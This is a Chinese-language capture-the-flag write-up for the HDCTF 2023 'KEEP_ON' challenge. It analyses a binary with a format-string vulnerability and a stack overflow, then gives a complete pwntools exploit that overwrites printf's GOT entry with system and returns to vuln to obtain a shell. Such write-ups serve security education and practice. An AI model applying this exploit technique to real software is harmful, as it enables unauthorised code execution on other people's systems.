HDCTF_2023 KEEP_ON Wp

字数: 501

题面

提供二进制文件

分析

checksec 查看保护:

1
2
3
4
5
6
7
8
❯ pwn checksec ./hdctf
[*] '/data/project/ctf-repo/pwn/nssctf/HDCTF_2023-KEEP_ON/hdctf'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

ida 静态分析: main 函数跳到 vuln 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
__int64 vuln()
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  memset(s, 0, sizeof(s));
  puts("please show me your name: ");
  read(0, s, 0x48u);
  printf("hello,");
  printf(s);
  puts("keep on !");
  read(0, s, 0x60u);
  return 0;
}

有格式化字符串漏洞可以利用,最后的 read 也有所溢出。

利用

格式化字符串漏洞可以用于篡改数据,因为没有 PIE 保护,所以可以直接尝试改写 printf 的 got 地址为 system ,然后回调到 vuln 函数,往 s 写 /bin/sh ,跑到 printf(s) 就可进入 shell 了。

首先计算出 printf 偏移量为 6。

因为 printf 是 libc 的函数,会有延迟绑定。调用时会在 plt 表找到对应的 got 表值。那么将其的 got 改写,就可以调用其他函数了。
比如可以改写为 system@plt,这样可以确保 system 函数被调用。
只需要利用 pwntools 的 fmtstr_payload 函数生成改写 payload 即可做到:

1
payload = fmtstr_payload(6, {printf_got: system_plt})

第二次读写跳转回 vuln 函数。这里比较抽象。

如果选择到 push rbp 就会多 push 一次导致栈不 16 字节对齐。而如果更往下,没了这些栈操作会因为 rbp 没有正确初始化导致各种错误。
所以选择在 mov rbp, rsp 是最恰当的选择。

之后只需要写入 /bin/sh\x00 即可拿到 shell。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64', os = 'linux', log_level = 'debug')
io = process("./hdctf")
#io = remote("node4.anna.nssctf.cn",29002)

elf = ELF("./hdctf")

printf_got = elf.got["printf"]
system_plt = elf.plt["system"]

#gdb.attach(io)
payload = fmtstr_payload(6, {printf_got: system_plt})
io.recvuntil(b"name:")
io.send(payload)
payload = b"a" * (0x50+0x8) + p64(0x400770)
io.recvuntil(b"on !\n")
io.send(payload)

io.recvuntil(b"name:")
io.sendline(b"/bin/sh\x00")
io.interactive()